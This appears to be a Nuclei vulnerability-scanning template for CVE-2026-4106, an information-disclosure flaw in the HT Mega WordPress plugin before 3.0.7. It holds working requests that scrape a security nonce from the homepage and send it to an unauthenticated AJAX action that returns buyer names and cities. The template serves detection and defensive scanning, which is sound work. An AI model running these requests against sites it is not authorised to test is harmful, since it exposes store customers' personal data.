id: CVE-2026-4106

info:
  name: HT Mega < 3.0.7 - Sensitive Information Disclosure
  author: EFETR
  severity: high
  description: |
    The HT Mega plugin for WordPress is vulnerable to Sensitive Information Exposure via AJAX actions. This template dynamically extracts the security nonce before exploitation.
  reference:
    - https://wpscan.com/vulnerability/9477ead2-3990-4aae-8e66-09ee2f4daa3e/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-4106
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-4106
    epss-score: 0.00742
    epss-percentile: 0.49812
  metadata:
    max-request: 2
    verified: true
    vendor: hastech
    product: ht-mega-for-elementor
    framework: wordpress
    publicwww-query: "/plugins/ht-mega-for-elementor/"
  tags: cve,cve2026,wordpress,wp-plugin,ht-mega-for-elementor,exposure

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: extracted_nonce
        part: body
        group: 1
        regex:
          - 'security["'':\s]+([a-f0-9]{10})'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wcsales_purchased_products&security={{extracted_nonce}}&limit=10

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"buyer":'
          - '"fname":'
          - '"city":'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220436dac394e192850f4f91c609ba99652fc0519f027fceeb7db8328b541a375cb022037dabbb3bb8acb454e1e4dac9fb0b55eeefd59b09cdac3d895d91356238a9454:922c64590222798bb761d5b6d8e72950